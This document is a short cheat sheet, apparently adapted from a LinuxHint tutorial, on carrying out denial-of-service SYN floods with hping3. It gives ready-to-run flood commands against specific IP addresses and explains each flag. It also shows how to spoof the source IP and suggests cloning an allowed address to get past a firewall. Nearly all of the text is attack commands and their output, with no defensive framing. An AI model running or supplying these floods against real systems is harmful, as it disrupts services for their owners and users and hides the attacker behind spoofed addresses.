DOS

Dos with Hping3

```
Perform DOS USING Hping3

hping3 -S $target-ip -a $spoofed-ip -p 22 --flood

        -S set SYN flag
        -a spoof self ip
        -p dest port
```

```
sudo hping3 -S --flood -V -p 80 170.155.9.185
```

```
linuxhint@LinuxHint:~$ sudo hping3 -S --flood -V -p 80 170.155.9.185
using wlp3s0, addr: 192.168.0.103, MTU: 1500
HPING 170.155.9.185 (wlp3s0 170.155.9.185): S set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
```

Where:

- **sudo**: gives needed privileges to run hping3.
- **hping3**: calls hping3 program.
- **-S**: specifies SYN packets.
- **–flood**: replies will be ignored and packets will be sent as fast as possible.
- **-V**: Verbosity.
- **-p 80**: port 80, you can replace this number for the service you want to attack.
- 170.155.9.185: target IP.

Flood From a Fake IP Address With hping3

With hping3 you can also attack your targets with a fake IP. In order to bypass a firewall, you can even clone your target IP itself, or any allowed address you may know (you can achieve it for example with Nmap or a sniffer to listen to established connections).

The syntax is the following:

```
sudo hping3 -a <FAKE IP> <target> -S -q -p 80
```

In the example below, I replaced my real IP address with the IP 190.0.174.10.

```
sudo hping3 -a 190.0.174.10 190.0.175.100 -S -q -p 80
```

```
linuxhint@LinuxHint:~$ sudo hping3 -a 190.0.174.10 190.0.175.100 -S -q -p 80
HPING 190.0.175.100 (wlp3s0 190.0.175.100): S set, 40 headers + 0 data bytes
```